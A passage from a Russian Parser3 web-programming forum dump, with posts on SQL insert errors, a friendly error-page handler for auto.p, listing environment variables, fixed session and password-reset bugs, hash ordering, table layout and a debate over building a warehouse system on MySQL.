	^void:sql{INSERT into Guest (Nick,Title,Comment,Date)\
	  values \
	  ('${form:Nick}','${form:Title}','${form:Comment}','${form:Date}')\
	  }\
}\
Сделал все как написано в уроках, выдает ошибку\
\
> CDBException: Ошибка синтаксиса в инструкции INSERT INTO.\
> INSERT into Guest (Nick,Title,Comment,Date) values ('','','','')\
\
Вставлять из формы отказывается. Может я что-то напутал?"
"31031","попробуйте в SQL Query Analizer'е.\
возможно, увидите объяснение подробнее, чем отдаёт MS ODBC драйвер.\
\
и можете выбросить {} из кода, они тут не нужны."
"31032","Submission: предлагаю заменить кусок штатного auto.p из дистрибутива чем-то вроде:\
\
[code]# Этот метод вызывается каждый раз, когда дела идут наперекосяк и Parser вылетает.\
\
@unhandled_exception[exception;stack]\
$response:status(500)\
$response:content-type[\
        $.value[text/html]\
        $.charset[$response:charset]\
]\
\
# Если обращение идёт с локального компьютера, посетитель получит подробное объяснение\
# про то, что произошло и где именно (вызывается @friendly_parser_error_message).\
# Если обращение идёт не со 127.0.0.1, выводится стандартный текст про Error 500\
\
^if($env:REMOTE_ADDR ne \"127.0.0.1\"){\
	$result[<!DOCTYPE html PUBLIC \"-//W3C//DTD XHTML 1.0 Transitional//EN\" \"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd\"><html xmlns=\"http://www.w3.org/1999/xhtml\" xml:lang=\"ru\" lang=\"ru\"><head><title>Internal server error</title></head><body><H1>Internal server error</h1><p>Server encountered an internal error. Please inform the webmaster about this problem. If you are the webmaster, please edit the auto.p file to see error details. ^for[i](0;512/6){&nbsp^;}</p></body></html>]\
}{\
	^friendly_parser_error_message[$exception;$stack]\
}\
\
@friendly_parser_error_message[exception;stack]\
\
# В сообщениях об ошибках, которые генерирует Parser, фигурируют реальные пути к файлам\
# и папкам, что не есть хорошо. Вы можете указать в таблице $false_path вымышленное значение, на которое\
# будет заменяться часть пути. Если в вы выставите $hide_real_path в \"no\", или обращение\
# идёт с локального компьютера, замена делаться не будет.\
\
$hide_real_path[yes]\
\
^if($env:REMOTE_ADDR eq \"127.0.0.1\" || $hide_real_path eq \"no\"){\
	$false_path[^table::create{from	to}]\
}{\
	$false_path[^table::create{from	to\
$env:DOCUMENT_ROOT	/}]\
}\
\
$result[<?xml version=\"1.0\" encoding=\"windows-1251\"?>\
<!DOCTYPE html PUBLIC \"-//W3C//DTD XHTML 1.0 Transitional//EN\" \"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd\">\
<html xmlns=\"http://www.w3.org/1999/xhtml\" xml:lang=\"ru\" lang=\"ru\">\
	<head>\
		<title>Internal server error</title>\
		<style><!--\
			body {font-family: Arial, Geneva, Helvetica, sans-serif^;}\
			h1 {font-size: 500%^; border-bottom: dotted 1px #ccc^;  margin: 0^;padding: 0^; color: #900}\
			li {list-style-type: square}\
		//--></style>\
	</head>\
	<body>\
		<H1>Ой&#133^;</h1>\
\
		<h2>В работе Parser произошла ошибка:</h2>\
	\
		<pre>^untaint[html]{^exception.comment.replace[$false_path]}</pre>\
	\
		^if(def $exception.source){\
			<h3>Ошибку вызвал этот фрагмент:</h3>\
			<tt>^exception.source.replace[$false_path]</tt>\
			^if(def $exception.file){\
				<h3>Ошибка произошла при работе с файлом:</h3>\
				<pre>^untaint[html]{<tt>^exception.file.replace[$false_path]</tt>, строка номер <b>$exception.lineno</b>}</pre>\
			}\
		}\
	\
		^if(def $exception.type){\
			$parser_error_types[^table::create{type	explanation\
parser.compile	в вашем коде ошибка - вы забыли поставить пару какой-нибудь скобке, забыли поставить \"птичку\" перед знаком <b>^;</b> или ещё что-то. Будьте внимательнее.\
parser.runtime	вы вызываете несуществующий метод (опечатка в имени или файл, в котором он лежит, недоступен?), методу передано неправильное количество параметров (нигде, часом, не забыли поставить \"птичку\" перед знаком <b>^;</b> где он не несёт специального значения?) или не тех типов, и т.п. Возможно, где-то опечатка в названии стандартной функции или в её использовании. Внимательно перепроверьте ваш код.\
parser.interrupted	загрузка страницы прервалась (пользователь остановил загрузку страницы или истекло время ожидания).\
number.zerodivision	вы пытаетесь заставить Parser поделить что-то на ноль, а он так не умеет.\
number.format	вы пытаетесь преобразовать к числу нечисловые данные (например, \"Людовик XIV\" в \"14\" Parser преобразовать никогда не сумеет).\
file.missing	вы пытаетесь получить доступ к файлу, которого нет или он на деле называется не так, как вы думаете (может быть, вы перепутали регистр? или заменили английскую букву в имени русской?)\
file.access	у парсера нет прав на доступ к этому файлу.\
image.format	файл изображения имеет неправильный формат (возможно, расширение имени не соответствует содержимому, или файл пуст?)\
sql.connect	сервер баз данных не может быть найден или временно недоступен или же ему просто не нравятся ваши логин с паролем.\
sql.execute	произошла ошибка исполнения SQL запроса. Там точно нет никаких опечаток? В таблице, к которой вы обращаетесь, есть все нужные столбцы? Может быть, база данных была повреждена? Или кончилось место на диске и сервер базы данных не может дальше правильно работать?\
xml	в вашем коде XML ошибки, или вы пытаетесь выполнить над XML недопустимую операцию.\
smtp.connect	SMTP сервер (сервер для отправки почты) не может быть найден или временно недоступен.\
smtp.execute	произошла ошибка отправки письма по SMTP протоколу (проверьте, не \"упал\" ли сервер, принимает ли он от вас письма, и не вмешивается ли в процесс слишком бдительный антивирус).\
email.format 	у вас ошибка в email адресе: адрес пустой, содержит неправильные символы или же там попросту нет \"@\".\
email.send	произошла ошибка запуска почтовой программы (у вас точно smtp/sendmail правильно работает? Спросите у администратора сервера или залезьте сами по SSH и проверьте, сымитировав отправку письма вручную).\
http.host	искомый сервер не найден. Вы точно не сделали опечаток в имени, не выдернули шнур из сетевой карты, и не переусердствовали с настройкой файрволла?\
http.connect	сервер, к которому вы обращаетесь, найден, но не принимает соединений. Может быть, слишком бдительный firewall или антивирус вмешиваются?\
http.response	сервер, к которому вы обращаетесь, был найден, соединение принял, но выдал некорректный ответ (нет статуса, заголовка). Или это сетевая ошибка, или сбой \"на той стороне\". Соединитесь telent'ом с другим сервером и проверьте вручную, что на самом деле он выдаёт.\
http.status	Cервер выдал ответ со статусом, не равным 200 (не успешное выполнение запроса). Может быть, статус - уже давно как \"404 Page not found\"? Если вам не важен статус ответа, попробуйте опцию any-status(1)\
http.timeout	Parser не успел выкачать документ с HTTP-сервера в отведенное время. Попробуйте увеличить параметр timeout или сделать что-то с каналом связи с интернетом.}]\
		}\
		\
		^if(def $exception.comment){\
			$parser_faq[^table::create{code	explanation\
expecting 'STRING' or '&#36^;' or '&#94^;'	Как правило это не закрытые скобки или забытый префикс в виде символа ’&#94^;’ перед спецсимволами парсера ’^;’, ’&#94^;’, ’&#36^;’ и др. Если вы хотите, чтобы в тексте странички появился символ ’^;’ его надо написать так ’&#94^;^;’. В принципе, префиксы ставить нужно не всегда, однако если вы их поставите — хуже не будет)\
accepts minimum	Это означает, что вы вызываете оператор и пытаетесь передать ему меньше параметров, чем тот требует для своего функционирования. Очень часто такая ошибка происходит, когда вы между скобками, разделяющими параметры, ставите пробелы/переводы строк.\
accepts maximum	Это означает, что вы вызываете метод, и пытаетесь передать ему больше параметров, чем тот может принять. Очень часто такая ошибка происходит, когда вы передаете в метод строку, содержащую спецсимволы, вероятно, символ «точка с запятой», не предварив её символом «птичка». При этом парсер воспринимает этот символ как разделитель передаваемых в метод параметров.\
method_frame may not be overwritten	Производится попытка добавить в тело страницы объект, который не может быть выведен парсером. Например, если написать в чистом поле &#94^;date::now[] то получим такую ошибку. Чтобы вывести дату нужно сделать примерно следующее: <pre>&#36^;now[&#94^;date.now[]]<br />&#94^;now.sql-string[]</pre>Аналогично с объектами таблица, хеш и т.д.\
MAIN:CLASS_PATH were specified	Вы пытаетесь использовать @USE или &#94^;use[] но не задали переменную &#36^;MAIN:CLASS_PATH и персер не знает, где искать классы, которые вы пытаетесь подключить. Подробности в документации.\
not found along	Файл с операторами или классами, которые вы пытаетесь подключить через @USE или &#94^;use[] не найден по путям, указанным в переменной &#36^;MAIN:CLASS_PATH. Часто проблема имеет место быть, если после имени файла закрался пробел/символ табуляции. Также бывает, что после @USE и списка модулей забывают объявить метод и начинают писать код страницы, подразумевая, что это будет @main[]\
SQL:drivers table must be defined	Не настроен или отсутствует конфигурационный auto.p (это тот, который у cgi версии лежит рядом с исполняемым файлом парсера). Для простой проверки скачайте из соответствующего раздела тестовый документ, распакуйте его в веб пространство вашего сайта и обратитесь к нему из броузера. Для того, чтобы данный файл смог все проверить, вам будет необходимо отредактировать конфигурационный auto.p и указать абсолютный путь в &#36^;confdir.\
driver implements API version	Версия установленного и требуемого парсером драйвера (libparser3mysql.so) не совпадают. Причина может быть в том, что вы перешли с одной версии парсера на другую, но не обновили драйвер базы данных.\
outside of 'connect' operator	Происходит попытка выполнить SQL запрос (&#94^;table::sql{}, &#94^;int:sql{} и др.) вне оператора для подключения к БД &#94^;connect[строка подключения]{запросы тут}.\
transcodeFromUTF8 error	Тот кто настраивал вам parser или совсем не положил предлагаемый конфигурационный файл, или испортил его. По-умолчанию, если &#36^;request:charset не задан (сейчас подходящий момент посмотреть в документацию) он равен UTF-8. Parser’у не объяснили, в какой кодировке его документы (&#36^;request:charset), и он считает, что они в UTF-8. Соответственно, если попросить его перекодировать из UTF-8 в windows-1251 (определив &#36^;response:charset), задав на входе текст в windows-1251, он честно возмутится.\
endless loop detected	Подобное сообщение появляется, если парсер обнаруживает очень длинный цикл. Например, если вы напишите конструкцию &#94^;while(1){что-то} то будет подобное сообщение об ошибке. Кроме того, если вы сделаете большой цикл for или menu в котором будет более 10000 итераций, то тоже увидите подобное сообщение.\
endless recursion detected	Подобное сообщение появляется, если парсеру кажется, что код зациклился. Очень часто причиной может быть некорректная или очень глубокая рекурсия (более 1000 вызовов).}]\
		\
			$faq_explanation[]\
		\
			^parser_faq.menu{\
				^if(^exception.comment.pos[$parser_faq.code] >= 0){\
					$faq_explanation[$parser_faq.explanation]\
				}			\
			}		\
		}\
		\
		^rem{### если текст ошибки упоминался в FAQ, выводим запись оттуда, если нет - более общий текст ###}\
\
		^if(!def $faq_explanation){\
			<h3>Что обычно приводит к ошибке $exception.type?</h3>\
			^if(^parser_error_types.locate[type;$exception.type]){\
		 		<p>^taint[as-is][$parser_error_types.explanation]</p>\
			}\
		}{\
			<h3>Вот что говорится в <a href=\"http://www.parser.ru/faq/\">FAQ</a> об этой ошибке:</h3>\
			<p>$faq_explanation</p>\
		\
		}\
	\
		^if($stack){\
			<h3>Последовательность операций, которая привела к ошибке:</h3>\
			(от самой последней вверху списка до самой первой внизу)\
			<ul>\
				^stack.menu{\
					<li><tt>$stack.name</tt> ^stack.file.replace[$false_path] строка $stack.lineno </li>\
				}\
			</ul>\
		}\
	\
		<h2>Ссылки:</h2>\
	\
		<ul>\
			<li><a href=\"http://www.parser.ru/docs/\">Документация по Parser</a></li>\
			<li><a href=\"http://www.parser.ru/faq/\">FAQ по Parser</a></li>\
		</ul>\
	\
		^for[i](0;512/6){&nbsp^;}\
	</body>\
</html>][/code]\
\
А то люди в faq не ходят, так пускай он придёт к ним..."
"31033","причем кода, который в реальной работе сайта принимать участия по хорошему [b]не должен[/b].\
\
а если кто-то думает, что данный код не будет переносится на живые сайты то по моему он очень хорошего мнения о людях ;)"
"31034","Больше, чем ты затратишь, RTFM'я в форуме...\
\
При этом файловых операций (чтения таблиц из файлов) там нет, @friendly вызывается лишь при обращении с локального хоста - иными словами, получаем значительное улучшение юзабилити за весьма малую цену."
"31035","конфигурационный auto.p, который рекомендуется заменить, считывается [b]всегда[/b] при обработке [b]любого[/b] документа, т.е. +11 КБ будут считаны с диска плюс будет произведен их анализ и компиляция, и при этом на живом сайте этот код в принципе не должен выполнятся.\
\
с моей точки зрения весь этот код лучше вынести и заменить на что-нить типа:\
\
^use[friendly_unhandled_exception.p]\
^friendly_parser_error_message[$exception;$stack]\
\
или\
$parser_error_types[^table::load[]]\
...\
$parser_error_types[^table::load[]]\
...\
$parser_faq[^table::load[]]\
\
такой ^use[] или table::load скажет парсеру произвести считывание/[компиляцию] дополнительного файла лишь в том случае, когда выполнение дойдет до данного места."
"31036","http://www.citforum.ru/database/dbguide/index.shtml - старинная (лет 5-7 ей), но думаю до сих пор актуальная статья начального уровня."
"31037","куда нужно.\
\
моё мнение: бесполезно."
"31039","у меня там parser в виде модуля apache, и его auto.p лежит отдельно от document root, а не в cgi-bin соответствующего виртуального хоста, то есть найти его не очень очевидно. Когда люди будут переносить сайт, разработанный на нём, на хостинг, они, в любом случае, будут брать auto.p и executable парсера под платформу хостера из /download/ \
\
То есть development для них будет friendly, а рабочая версия - ненагруженной лишним кодом."
"31040","а где этот Analizer взять?"
"31042","Поскольку я собирал parser3 из исходников еще до того, как написал первое сообщение, то собственно совет \"пересоберите\" из исходников мне помог слабо.\
\
Однако где-то в глубинах форума я нашел ваш же совет про сборку с ключем --with-dynamic-stdcpp для того, чтобы libparser3mysql.so нормально определялся parser3 - это радикально помогло."
"31043","- выложил последние, достаточно сильно переделаные в плане вывода debug информации классы\
- внес изменения в текст примера"
"31044","Есть ли способ получить список всех переменных окружения через Parser?\
\
$env как я понял, не имеет аналога $form:fields и, соответственно, не позволяет сделать foreach для перебора значений."
"31045","Каким-то образом вся эта конструкция цепляется за название столбца Date, я сменил на Day и все заработало :/"
"31046","Я делаю так:\
[code]\
#################################################################### \
# ^debug:env[]\
# Нужен printenv.bat в /cgi-bin/ такого содержания:\
#\
# @echo off\
# set\
#\
@env[][fd]\
$fd[^file::exec[/../cgi-bin/printenv.bat]]\
$result[<pre>^fd.text.match[^^([^^=]+)=(.*)^$][gm]{<b>$match.1</b>=$match.2}</pre>]\
### End @env[]\
[/code]\
Если заменить\
[code]\
{<b>$match.1</b>=$match.2} \
[/code]\
на что-то типа \
[code]\
{$env_hash.[$match.1][$match.2]}\
[/code]\
, то получится необходимый хеш."
"31048","[code]#!/usr/bin/perl\
\
print \"Content-type: text/html\\n\\n\";\
print \"<h1>EnvVars:</h1>[code]\\n\";\
foreach $key (sort keys(%ENV)) {\
    print \"$key = $ENV{$key}<br />\";\
} [/code]"
"31049","а то форум их путать стал - в тексте второе стало заменяться на первое при постинге."
"31051","спасибо, замечательные костыли :)\
\
как получить список переменных окружения в perl я знаю - и, кстати сказать, в станадартную поставку Apache сходит printenv (для win32 - printenv.pl) для таких целей\
\
а для win32 получение переменных через .bat - очень интересное и просто решение"
"31052","[code]\
    [code]Test[/code]\
[/code]"
"31054","это я делал для того, чтобы можно было писАть и [code] и [code].\
причем первая конструкция - валидная, и она хранится в БД как есть, мы при редактировании видим её.\
\
а вторая - я при записи в БД меняю её на [code] подразумевая, что человек мог ошибиться...\
\
наверное надо эту замену снести нафиг."
"31056","исправлены 2 security bug-a:\
\
1. при смене пароля не удалялись сессии данного пользователя кроме текущей. могло привести к тому, что если кто-то подобрал/скомуниздил пароль, залогинился, вы узнали об этом, сменили пароль, но сессия хакера продолжает жить и ему не надо логиниться ещё раз.\
\
2. после setPasswordFromTemporary не очищалось значение в new_passwd. могло привести к тому, что однажды полученая ссылка которая активировала новый пароль могла его активировать сколько угодно раз, даже после изменения пароля. в случае, если письмо было перехвачено, то вы активировав новый пароль и сменив его все равно могли быть хакнуты, т.к. ссылка на активацию продолжала функционировать.\
\
такие дела..."
"31057","@foreach[h;key;value;code;order_direction][tkey]\
$tkey[^h._keys[]]\
^tkey.sort{$tkey.key}[^if(def $order_direction){$order_direction}{asc}]\
^tkey.menu{\
    $caller.$key[$tkey.key]\
    $caller.$value[$h.[$tkey.key]]\
    $code\
}\
\
\
;value;code;order_direction][tkey]\
Какие значения они могут принимать и каковы будут соотвествующие результаты?\
\
Мне надо выводить элементы хэша в том порядке, в котором они описаны."
"31058","[quot]\
Какие значения они могут принимать и каковы будут соотвествующие результаты?\
[/quot]\
\
я не понял этого вопроса.\
\
[quot]\
Мне надо выводить элементы хэша в том порядке, в котором они описаны.\
[/quot]\
\
такую задачу решить с помощью хешей невзможно. а изменить формулировку на основании того, что есть в примерах вы похоже не хотите."
"31059","в хеше у меня элементы меню\
\
$products_menu[\
...\
$.door[\
		$.section[^section_title[]]\
		$.url[/products/door/]\
		$.title[Двери]\
		]\
...\
]\
\
и на основании этого я вывожу их на страницу\
\
^foreach[$products_menu;key;value]{\
<li>\
<a href=\"$products_menu.[$key].url\">$products_menu.[$key].title</a>\
</li>\
}\
\
Или хэши для этого не совсем подходят и лучше использовать таблицы? Но для меня было важно наличие полей и их значений.\
\
а в FAQ мне были не понятно, для чего в определении метода описывались и использовались такие параметры как code;order_direction][tkey]"
"31060","если вам нужно вывести элементы хеша в каком-либо порядке вы должны предпринять что-либо, чтобы этот порядок определить.\
\
например возможно:\
- вывести элементы хеша в алфавитном порядке следования их ключей или значений\
- вывести элементы хеша в числовом порядке следования их ключей или значений\
\
т.е. в вашем случае вы можете добавить в каждый элемент хеша значение order и для каждого элемента задать его при создании хеша.\
\
соответственно при выводе вы можете отсортировать элементы по этому значению.\
\
но мне кажется что в вашем случае лучше воспользоваться таблицей для хранения меню, а не хешом."
"31061","А дело в том, что, к примеру, советскому человеку не привыкать к изменениям и новому. Если же взять американского человека, то ему проще застрелиться, чем беспомощно наблюдать @body{ в начале каждого файла. Ну не хотят они понимать. Потому что HTML был выучен лет пять назад на каких-нибудь трехмесячных курсах и засел в таких мозгах навсегда. Даже ставить закрывающий тег </p> они не могут физически. Такой уж тут монастырь и такой уж тут устав.\
Мне, например, стоило трех недель жизни (множество совещаний, написание юзерско-дизайнерского мануала) разъяснение _базовых_ принципов сайтостроения - все картинки лежат в одной папке, файлы, предлагаемые к загрузке - в другой, а не разбросаны по всему диску сервера во множестве версий и разновидностей, все ссылки имеют однообразный вид и т.п.\
Поэтому моя задача - сделать все максимально технологично с одной стороны и незаметно для таких человеков с другой.\
Поэтому мне было бы проще, если Parser имел бы промежуточный механизм вызова функции @main."
"31062","\"...cookie не будет сохранятся, а уничтожится с закрытием окна браузера...\"\
Т.е., как я понимаю, парсер хранит значение куки в кеше, а не сохранят на диске...\
или не так..?\
"
"31064","Парсер сам не хранит сессионные куки, это делает ваш браузер. Парсер же может ими управлять (см. доку)."
"31065","Вопрос такой.\
Имеются формы из которых данные заносятся с помощью SQL в базу данных. Все заносится замечательно. Но после занесения данных эксплорер видимо кэширует данные и если понажимать refresh с каждым нажатием добавляет новую запись.\
Добавлю что форма добавления была взята из документации (про добавление новостей.)\
Как почистить кэш или вообще в чём проблема?"
"31066","Страница которую вы видите получена в результате запроса (post или get непринципиально) к серверу, когда вы нажимаете рефреш он снова отправлят данные в результате которых получил страницу. Вот у вас данные и постятся несколько раз.\
[b]Лекарство искать в форуме[/b]"
"31067","Меня не поняли.\
Данные вставлены. \
НО в адресной строке остается http://....../index.html?faks=%CB&fio=fgdgdfgdfgdfgfd&sn1=&pr1=%C2%FB%E1%E5%F0%E8%F2%E5+%EF%F0%E5%E4%EC%E5%F2&1b100=&sn2=&pr2=%C2%FB%E1%E5%F0%E8%F2%E5+%EF%F0%E5%E4%EC%E5%F2&2b100=&sn3=&pr3=%C2%FB%E1%E5%F0%E8%F2%E5+%EF%F0%E5%E4%EC%E5%F2&3b100=&nom=&typ=%C0\
\
Как сделать так чтобы после выполнения функции всё что после index.html изчезало?\
\
Кроме такого варианта ещё как то можно?\
$response:refresh[\
 $.value[0]\
$.url[/]\
]\
]"
"31069","Появляется довольно часто\
[Sun Jul 11 11:05:01 2004] SIGUSR1 received while executing code. uri=/photo_com/form/, method=POST, cl=145932 \
В чём может быть проблема?\
И что такое cl=145932, в чём измеряется.\
\
зы это фотогалерея, сделана на примере с ImageMagick"
"31070","Я не сразу въехал, что эта переменная окружения CGI - уже нашел, спасибо!!!"
"31072","Да,я великолепно знаю по форуму что это сигнал к остановке процесса, возникает при перезагрузке например.\
\
Но там помимо этого есть ищё вопросы"
"31075","... Сейчас попробовал: четыре штуки точно можно. Другой вопрос: зачем это нужно?"
"31076","Предположим у нас есть строка, или ячейка таблицы в которой явным образом в css или в html тэге угазано значение height/width. Ячейка содержит текст. При уменьшении размеров окна, если содержимое ячейки это позволяет (нет больших картинок внутри и т.д.) размер ячейки всё же будет уменьшаться.\
Какой самы простой способ этого недопустить?\
Анологичный размер про вариант, когда размер ячейки поставлен * но нежелательно, чтобы ее размер мог сделаться меньше заданного числа.\
Извиняюсь, если мой размер покажется кому-то глупым. :)"
"31077","на форме есть кнопка выхода href=\"/?action=logout\"\
вот код:\
[code]\
$f_params[^untaint{^form:fields.[action].lower[]}]\
^if(def $f_params && f_params eq logout){\
		^auth_data.logout[]\
}\
[/code]\
Вроде смотрю action=logout, а сравнение не выполняется!\
Почему так?"
"31078","[code]\
^if(... f_params eq logout){\
   ...\
}\
[/code]\
\
строка 'f_params' не равна строке 'logout'\
может вы хотели написать:\
[code]\
^if(... $f_params eq logout){\
   ...\
}\
[/code]\
\
P.S. подсветка синтаксиса - замечательная вещь :)"
"31079","Рубль забыли ;)"
"31080","Шайтан однако! Точно забыл."
"31081","Согласен! Когда постишь на форум все видно!\
Может кто знает редактор который текст парсера тоже понимает?\
А то в GoLive все одинаково блин!"
"31084","После устанвки сразу работает.\
После перезагрузки компа, ни апач ни mysql незапускаются"
"31086","Скажите, разве мои вопросы настолько глупые? Я понимаю, что вам все давным давно ясно, но разве этот форму расчитан на крутых прогеров, которые о такой тупо-простой вещи, как построение древовидной навигации даже не задумываются? Расскажите зачем удалять мои треды? Уже третий раз подряд вы удаляете мой вопрос, причем он не из простйших...возможно я не так вопрос ставлю, так поправьте, зачем удалять? \
\
ЗЫ респект Вам, товарищи супер-программисты..."
"31087","Подскажите пожалуйста, что делать, если в последней документации все латинские символы при печати принтером отображаются абракадаброй, а на мониторе впорядке. Документация в PDF.\
Спасибо,\
Сергей"
"31088","мой преподователь по химии, профессор академии наук, говорит, что не надо боятся задавать простые вопросы, даже если они вам кажутся тупыми, он сам рассказывал, как его, вроде как учёные, а на простой вопрос ответить не могут, на вопрос из школьной программы, вот, это конечно хорошо, что вы заставляете человека искать ответ самому, но почему бы не помочь ему, не направить на путь истинный?? я никого не хочу поучать, тем более людей старших по возрасту и более опытных, так просто написал..."
"31090","Есть определенный круг вопросов, который достаточно хорошо представлен на сайте и форуме. Тем не менее снова и снова появляются люди, которые даже не пытаются [хотябы из уважения к авторам технологии и сайта] изучить три раздела: документация, FAQ и примеры.\
\
Здесь, между прочим, не учебное заведение и все что делается в плане популяризации Парсера - это заслуга небольшой группы энтузиастов [у которых своей рабоы навалом], которые ничем вам не обязаны. Поэтому давайте нормально относится если вас \"посылают\" читать, то, что уже написано."
"31091","http://www.parser.ru/examples/trees/\
http://serge.design.ru/article/002/\
http://www.egoroff.spb.ru/portfolio/15.html\
\
Обращаю внимание: все это взято из примеров!"
"31093","Товарищи, помогите советом.\
Что-то я вообще упёрся рогом...\
\
Задача тривиальна:\
имеем таблицу разделов сайта (загруженную из файла или из БД – не суть важно),\
необходимо построить XML дерево, для последующего XSL преобразования.\
\
Гипотетическая таблица разделов:\
\
id	parental_id	uri	name\
1	0	products	Продукты\
2	1	monitors	Мониторы\
3	1	printers	Принтеры\
4	1	hdd	Винчестеры\
5	1	mice	Мыши\
6	1	else	Прочее\
7	0	support	Поддержка\
8	0	cooperation	Сотрудничество\
9	0	about	О сайте\
10	0	news	Новости\
11	10	archive	Архив\
12	11	new	Новое в архиве\
\
Гипотетический вид XML’я:\
[code]\
<tree>			\
	<section id=\"1\" parental_id=\"0\" name=\"Продукты\" url=\"products\">		\
		<section id=\"2\" parental_id=\"1\" name=\"Мониторы\" url=\"products/monitors\"/>	\
		<section id=\"3\" parental_id=\"1\" name=\"Принтеры\" url=\"products/printers\"/>	\
		<section id=\"4\" parental_id=\"1\" name=\"Винчестеры\" url=\"products/hdd\"/>	\
		<section id=\"5\" parental_id=\"1\" name=\"Мыши\" url=\"products/mice\">	\
		<section id=\"6\" parental_id=\"1\" name=\"Прочее\" url=\"products/else\">	\
	</section>		\
	<section id=\"7\" parental_id=\"0\" name=\"Поддержка\" url=\"support\">		\
	<section id=\"8\" parental_id=\"0\" name=\"Сотрудничество\" url=\"cooperation\">		\
	<section id=\"9\" parental_id=\"0\" name=\"О сайте\" url=\"about\"/>		\
	<section id=\"10\" parental_id=\"0\" name=\"Новости\" url=\"news\">		\
		<section id=\"11\" parental_id=\"10\" name=\"Архив\" url=\"archive\">	\
			<section id=\"12\" parental_id=\"11\" name=\"Новое в архиве\" url=\"new\"/>\
		</section>							\
	</section>								\
</tree>\
[/code]\
\
Поиск покрутил, всё понятно описывается, однако, мысля упорно не идёт...\
Упираюсь в уровни вложенности далее второго."
"31094","Господа, где взять Parser под Apache 2?"
"31095","нельзя ли как-нибудь сделать, чтобы результаты в sql.txt можно было результаты в html оформлении класть? или туда в тексте, а если добавляешь через @postprocess[] - в html..."
"31096","Благо и по CSS, и по HTML спецификации на русском лежат в \"полезных ссылках\".\
\
К вопросам.\
Если вы внутри ячейки поставили размер, то:\
[code]<td width=\"30\" height=\"60\"></td>[/code]\
она будет изменяема.\
\
Стоит добавить:\
[code]<td width=\"30\" height=\"60\" nowrap></td>[/code]\
и размер ячейки даже без картинки останется неизменным.\
\
Но, всеже есть ограничения. Ваша таблица не должна иметь фиксированный размер меньше чем в ячейке, не должна быть 100% при этом содержать всего 1 столбец ограниченный по ширине.\
\
Это, и многое другое вы найдете в спецификации по html.\
\
P.S. распорки и всякого рода 1-о пиксельные картинки - признак дурного тона и не читанной спецификации."
"31098","Здравствуйте, уважаемые!\
\
   По некоторым (скорее \"политическим\" причинам) компанию, в которой я работаю, не устраивает использование технологии Zope. Посоветовали обратить внимание на \"Парсер\". Внимание обратил, почитал документацию. Стало странно, что студия Лебедева \"изобрела велосипед\". Абсолютно те же самые принципы объектно-ориентированного web-программирования, что и в Zope. Можно говорить об отличиях синтаксиса, но не об отличиях идеологии. Так что разработчики Парсера могут смело \"повесить\" себя на страничку клонов :о) Хотя, возможно, им самим по каким-то принчинам удобнее пользоваться именно Парсером. Что ж, это вполне нормально.\
\
   А заодно вопрос к читателям. Известны ли вам еще какие-либо технологии шаблонного программирования, которые позволили бы отделить дизайн от контента?\
\
Спасибо!"
"31099","Во-первых Zope - это все-таки веб-платформа, а Парсер - язык программирования. Во-вторых все объектно-ориентированные языки похожи по принципам [хотя Зоповский DTML ну никак на Парсер не похож... или вы про Питон говорили?].\
\
По последнему вопросу: дизайн от контента можно отделить на люобом языке - было бы желание."
"31101","не проще ли это хранить сразу в XML ?"
"31102","в каком году это произошло?"
"31103","Хотелось бы услышать компетентные мнения по такому нестандартному вопросу:\
Компания-складской оператор желает получить некий механизм который автоматизировал бы складскую деятельность, логистическую и пр... \
в данный момент для склада существует система написанная в Клипере, для документооборота Лотус для бухгалтерии 1С базв разрознены....\
Есть идея построить механизм объединения на обычном web-сервере и расширить эту систему до полного замещения 1- склада на клипере, 2- лотуса...\
в качестве базы данных использовать MySQL в качестве средства разработки Parser\
Приемущества - отсутствие как такового клиентского ПО, его роль выполнит IE? возможность доступа к системе с любого уголка по средствам Интернет...\
Хотелось бы услышать мнения специалистов, не бред ли эта идея, насколько она перспективна...\
зарание спасибо."
"31104","над интеграцией баз.\
самое простое: имеющееся оставить в покое, наладив регулярные экспорт и импорт данных."
"31105","Причем пытаетесь использовать инструменты, которые малоприспособлены для решения учетных задач.\
\
Вам прийдется долго и муторно разрабатывать кучу сервисных инструментов [реализацию нормального пользовательского интерфейса в браузере; писать генераторы отчетов; модули репликации и архивирования пр. и пр], а еще ведь надо и ядро сделать... Вместо этого можно [и нужно] использовать готовые, проверенные годами эксплуатации, решения. Тем более, когда у вас на предприятии уже имеется вполне нормальная основа - 1С."
"31106","http://ag-orlov.narod.ru/itnotes.htm\
\"Записки автоматизатора\""
"31107","То же самое можно сказать про Microsoft - С# и java\
\
Про любого производителя реляционной БД - все реляционные БД похожи.\
\
Про любой ОО язык и т.д.\
\
Тут не клонирование имеет место, а создание своего идеала. Да это вообщем даже здорово - куча конкурирующих вещей помогает в итоге всем развиваться и улучшаться.\
\
Если бы все мыслили как ты, был бы сейчас один язык - машинные коды."
"31108","Я понимаю, что в целом Вы правы, но каким образом предоставить доступ к системе, многочисленным филиалам (причем из других стран), клиентам и удаленным складам...\
насколько мне извесно механизмы реализованные в 1с для синхронизации данных являются просто надстройкой для локальной изначально системы.\
конечно предстоит много работы, бесспорно... но на данный момент стоит задача объединения разрозненных данных в одной системе.\
а пункты 1 и 2 - это далекая перспектива...\
В данный момент мне интересно не приведет ли эта идея в тупик, что может выясниться, когда на ее реализацию будет потрачено много усилий."
"31109","Такая задача и стоит на начальном этапе, и для ее реализации я планирую создать web-интерфейс для импорта и экспорта данных, выгруженных ну предположем в текстовые файлы, и при помощи данного интерфейса администратора упроалять этими процессами, назначать выполнение задач по расписанию... и т.д.\
В данном случае MySQL будет использован в качестве некого хранилища всех данных из различных систем и надстроек.\
Вы считаете это целесообразным?"
"31110","У той же 1С есть расширение \"WEB модуль\", которое позволяет решать эти задачи.\
\
Вполне возможно, что в данном случае можно как-раз обойтись системой репликации данных между филиалами, но я совсем не уверен, что для ее реализации Парсер самое удачное средство."
"31113","Нюню. В нашей [url=\"http://www.beelinegsm.ru\"]маленькой организации[/url] на лотусе организован документооборот для сетки на 65 городов (mail, согласования бумаг, базы документов и прочий workflow). Мне страшно представить, что бы случилось, если бы всё это было бы сделано на вебсервере с mysql, чесслово.\
\
Вы бы к системным интеграторам сходили что-ли, а? А то этот проект своей сложностью вас похоронит... Не трогайте документооборот лучше, или позовите хорошего спеца под конкретную задачку аудита и донастройки Lotus+Domino.\
\
А вот складскую базу на клипере переделать под веб-службу и скрестить с 1С - это реализуемо и разумно."
